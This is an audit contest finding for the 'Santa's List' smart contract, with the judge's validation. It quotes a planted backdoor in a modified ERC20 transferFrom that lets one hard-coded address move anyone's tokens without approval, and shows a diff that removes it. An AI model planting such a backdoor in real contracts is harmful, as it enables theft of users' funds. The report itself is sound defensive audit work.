First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

This `address(0x815F577F1c1bcE213c012f166744937C889DAF17)` can steal tokens from anyone by calling `transferFrom` in ERC20.sol of `solmate-bad`.

naman1729

Summary

  • This address is the author of the SantasList.sol contract which changes the tranferFrom function to allow his address to steal tokens from anyone. He can steal Santa Tokens from the users and buy as many NFTs as he wants.

Vulnerability Details

  • This address(0x815F577F1c1bcE213c012f166744937C889DAF17) can steal tokens from anyone by calling transferFrom. The below code is from the ERC20.sol file in the solmate-bad repo. where the check in transferFrom is allowing this address to steal tokens from anyone and not subtracting the amount from the allowance and Their is no check that user is approved or not to spend the tokens by virtue of which this address can steal all tokens of any user and he can buy as many NFTs as he wants by the stolen tokens.

​
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
// https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
@> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
@> balanceOf[from] -= amount;
@> unchecked {
@> balanceOf[to] += amount;
@> }
@> emit Transfer(from, to, amount);
@> return true;
@> }
​
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
​
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
​
balanceOf[from] -= amount;
​
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
​
emit Transfer(from, to, amount);
​
return true;
}
​

  • This address of the author is equal to the address in the check in transferFrom function which points that author is trying to steal tokens by introducing malicious check which allows him to steal tokens from anyone.

​
/*
* @title SantasList
@> * @author South Pole Elves 0x815f577f1c1bce213c012f166744937c889daf17
*
* @notice Santas's naughty or nice list, all on chain!
*/
​

Impact

  • This address(0x815f577f1c1bce213c012f166744937c889daf17) can steal tokens from anyone by calling transferFrom.

  • This address can steal Santa Tokens from the users and buy as many NFTs as he wants.

Tools Used

  • Manual Review

Recommendations

  • We can do these changes to fix this issue OR we can use OpenZeppelin's ERC20.sol contract which is already audited and tested.

​
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
- // hehehe :)
- // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
-
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
​
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
​
balanceOf[from] -= amount;
​
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
​
emit Transfer(from, to, amount);
​
return true;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.